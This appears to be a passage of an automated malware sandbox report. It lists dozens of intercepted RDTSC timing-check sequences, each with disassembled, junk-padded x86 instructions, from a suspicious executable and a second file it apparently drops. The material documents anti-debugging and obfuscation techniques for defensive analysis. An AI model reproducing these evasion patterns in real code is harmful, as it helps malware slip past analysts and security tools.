Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF4D45 second address: EF4D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6BC92F1686h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F6BC92F168Ch 0x00000012 jng 00007F6BC92F1686h 0x00000018 jc 00007F6BC92F168Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5194 second address: EF51B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6BC918D034h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF51B0 second address: EF51BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6BC92F1686h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF545F second address: EF5469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6BC918D026h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF70B0 second address: EF70B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB450 second address: EFB454 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB454 second address: EFB4DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F6BC92F1688h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 jmp 00007F6BC92F168Bh 0x00000027 push 00000004h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F6BC92F1688h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 00000017h 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 sub dword ptr [ebp+122D2D1Ch], eax 0x00000049 call 00007F6BC92F1689h 0x0000004e ja 00007F6BC92F169Dh 0x00000054 jmp 00007F6BC92F1697h 0x00000059 push eax 0x0000005a jnp 00007F6BC92F1690h 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB4DD second address: EFB517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F6BC918D02Eh 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F6BC918D02Bh 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F6BC918D02Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB517 second address: EFB534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFB731 second address: EFB735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD1AA second address: EFD1BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F168Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFD1BE second address: EFD1C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55901FA second address: 5590200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590249 second address: 559024F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559024F second address: 5590260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BC92F168Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590260 second address: 5590264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590264 second address: 55902CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6BC92F168Ch 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F6BC92F168Eh 0x00000016 sbb al, FFFFFFA8h 0x00000019 jmp 00007F6BC92F168Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F6BC92F1698h 0x00000025 add ch, 00000008h 0x00000028 jmp 00007F6BC92F168Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55902CA second address: 55902CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55902CE second address: 55902D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55902D4 second address: 55902D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55902D9 second address: 5590311 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F6BC92F1696h 0x0000000a adc al, FFFFFF98h 0x0000000d jmp 00007F6BC92F168Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov dx, 1A86h 0x0000001e mov eax, edi 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590311 second address: 5590324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BC918D02Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FC61 second address: E0FC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FC65 second address: E0FC76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55903D2 second address: 55903D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55903D6 second address: 55903DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55903DC second address: 55903E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55903E2 second address: 55903E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590471 second address: 5590475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590475 second address: 559047B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559047B second address: 55904E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F168Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 6D215F5Eh 0x00000010 jmp 00007F6BC92F1690h 0x00000015 call 00007F6C39F951D4h 0x0000001a push 762327D0h 0x0000001f push dword ptr fs:[00000000h] 0x00000026 mov eax, dword ptr [esp+10h] 0x0000002a mov dword ptr [esp+10h], ebp 0x0000002e lea ebp, dword ptr [esp+10h] 0x00000032 sub esp, eax 0x00000034 push ebx 0x00000035 push esi 0x00000036 push edi 0x00000037 mov eax, dword ptr [762C0140h] 0x0000003c xor dword ptr [ebp-04h], eax 0x0000003f xor eax, ebp 0x00000041 push eax 0x00000042 mov dword ptr [ebp-18h], esp 0x00000045 push dword ptr [ebp-08h] 0x00000048 mov eax, dword ptr [ebp-04h] 0x0000004b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000052 mov dword ptr [ebp-08h], eax 0x00000055 lea eax, dword ptr [ebp-10h] 0x00000058 mov dword ptr fs:[00000000h], eax 0x0000005e ret 0x0000005f pushad 0x00000060 push esi 0x00000061 mov eax, edi 0x00000063 pop ebx 0x00000064 pushfd 0x00000065 jmp 00007F6BC92F1696h 0x0000006a add cx, 7CE8h 0x0000006f jmp 00007F6BC92F168Bh 0x00000074 popfd 0x00000075 popad 0x00000076 and dword ptr [ebp-04h], 00000000h 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55904E0 second address: 55904E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, dh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55904E7 second address: 55904F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55904F8 second address: 55904FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55904FC second address: 559050F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F168Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559050F second address: 5590515 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590515 second address: 5590546 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F168Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, edx 0x0000000d jmp 00007F6BC92F1696h 0x00000012 mov al, byte ptr [edx] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590546 second address: 559054A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559054A second address: 5590550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590550 second address: 5590546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 2B11h 0x00000007 push esi 0x00000008 pop edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c inc edx 0x0000000d pushad 0x0000000e mov edi, ecx 0x00000010 pushfd 0x00000011 jmp 00007F6BC918D032h 0x00000016 xor eax, 348BB998h 0x0000001c jmp 00007F6BC918D02Bh 0x00000021 popfd 0x00000022 popad 0x00000023 test al, al 0x00000025 pushad 0x00000026 jmp 00007F6BC918D034h 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 popad 0x00000032 jne 00007F6BC918CFBAh 0x00000038 mov al, byte ptr [edx] 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55905C2 second address: 55905D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F168Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55905D1 second address: 5590621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edx, esi 0x0000000b jmp 00007F6BC918D037h 0x00000010 mov edi, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6BC918D035h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590621 second address: 5590685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6BC92F1697h 0x00000009 or ch, FFFFFF8Eh 0x0000000c jmp 00007F6BC92F1699h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 dec edi 0x00000018 jmp 00007F6BC92F168Ah 0x0000001d lea ebx, dword ptr [edi+01h] 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F6BC92F1697h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590685 second address: 559068A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590798 second address: 559079C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559079C second address: 55907A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55907A6 second address: 55907AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55907AA second address: 559084C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6BC918D035h 0x00000008 sbb si, 4A76h 0x0000000d jmp 00007F6BC918D031h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 rep movsb 0x00000018 jmp 00007F6BC918D02Eh 0x0000001d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000024 pushad 0x00000025 mov cl, 9Eh 0x00000027 call 00007F6BC918D033h 0x0000002c pushfd 0x0000002d jmp 00007F6BC918D038h 0x00000032 adc esi, 16A9E128h 0x00000038 jmp 00007F6BC918D02Bh 0x0000003d popfd 0x0000003e pop esi 0x0000003f popad 0x00000040 mov eax, ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F6BC918D032h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559084C second address: 5590852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590852 second address: 5590856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590856 second address: 559085A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559085A second address: 5590898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b pushad 0x0000000c mov edi, 71908B2Ah 0x00000011 popad 0x00000012 mov dword ptr fs:[00000000h], ecx 0x00000019 jmp 00007F6BC918D02Ch 0x0000001e pop ecx 0x0000001f pushad 0x00000020 mov al, 6Fh 0x00000022 call 00007F6BC918D033h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590898 second address: 55908CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007F6BC92F1695h 0x0000000c pop esi 0x0000000d pushad 0x0000000e mov dl, cl 0x00000010 mov ah, dh 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F6BC92F168Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55908CA second address: 55908CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55908CE second address: 55908D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55908D4 second address: 55908ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D02Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55908ED second address: 559090A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559090A second address: 5590910 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590910 second address: 5590914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590914 second address: 5590471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC918D033h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0008h 0x0000000e cmp dword ptr [ebp-2Ch], 10h 0x00000012 mov eax, dword ptr [ebp-40h] 0x00000015 jnc 00007F6BC918D025h 0x00000017 push eax 0x00000018 lea edx, dword ptr [ebp-00000590h] 0x0000001e push edx 0x0000001f call esi 0x00000021 push 00000008h 0x00000023 pushad 0x00000024 pushad 0x00000025 call 00007F6BC918D02Ch 0x0000002a pop eax 0x0000002b mov di, E976h 0x0000002f popad 0x00000030 call 00007F6BC918D037h 0x00000035 pushfd 0x00000036 jmp 00007F6BC918D038h 0x0000003b or eax, 2A0965C8h 0x00000041 jmp 00007F6BC918D02Bh 0x00000046 popfd 0x00000047 pop ecx 0x00000048 popad 0x00000049 push 0908BCCAh 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007F6BC918D02Eh 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590A83 second address: 5590A8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590A8A second address: 5590A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ecx, 5AD667B1h 0x00000010 push ecx 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5590A9D second address: 5590AFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6BC92F1699h 0x00000009 jmp 00007F6BC92F168Bh 0x0000000e popfd 0x0000000f mov esi, 525B24EFh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a movzx ecx, di 0x0000001d popad 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007F6BC92F1690h 0x00000027 jmp 00007F6BC92F1692h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A320B5 second address: A320BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A320BA second address: A320C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A4DC21 second address: A4DC27 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A4DC27 second address: A4DC56 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6BC92F169Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6BC92F168Eh 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A4E02B second address: A4E031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A4E031 second address: A4E045 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F6BC92F1686h 0x0000000e jno 00007F6BC92F1686h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A51F64 second address: A51F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BC918D02Dh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A51F75 second address: A51F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A51FF8 second address: A52055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 xor dword ptr [esp], 374D040Bh 0x0000000c mov esi, dword ptr [ebp+122D2A97h] 0x00000012 push 00000003h 0x00000014 jl 00007F6BC918D02Ch 0x0000001a sub ecx, dword ptr [ebp+122D3799h] 0x00000020 push 00000000h 0x00000022 mov edi, dword ptr [ebp+122D3AE9h] 0x00000028 push 00000003h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007F6BC918D028h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 add dword ptr [ebp+122D185Ah], esi 0x0000004a call 00007F6BC918D029h 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A52055 second address: A5206C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BC92F1693h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A5206C second address: A52095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6BC918D038h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push edi 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A52095 second address: A520D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edx 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 pop edx 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 jnp 00007F6BC92F169Ch 0x0000001b jp 00007F6BC92F1688h 0x00000021 push edi 0x00000022 pop edi 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d pop edx 0x0000002e rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A520D9 second address: A520F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BC918D034h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: A520F1 second address: A520F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
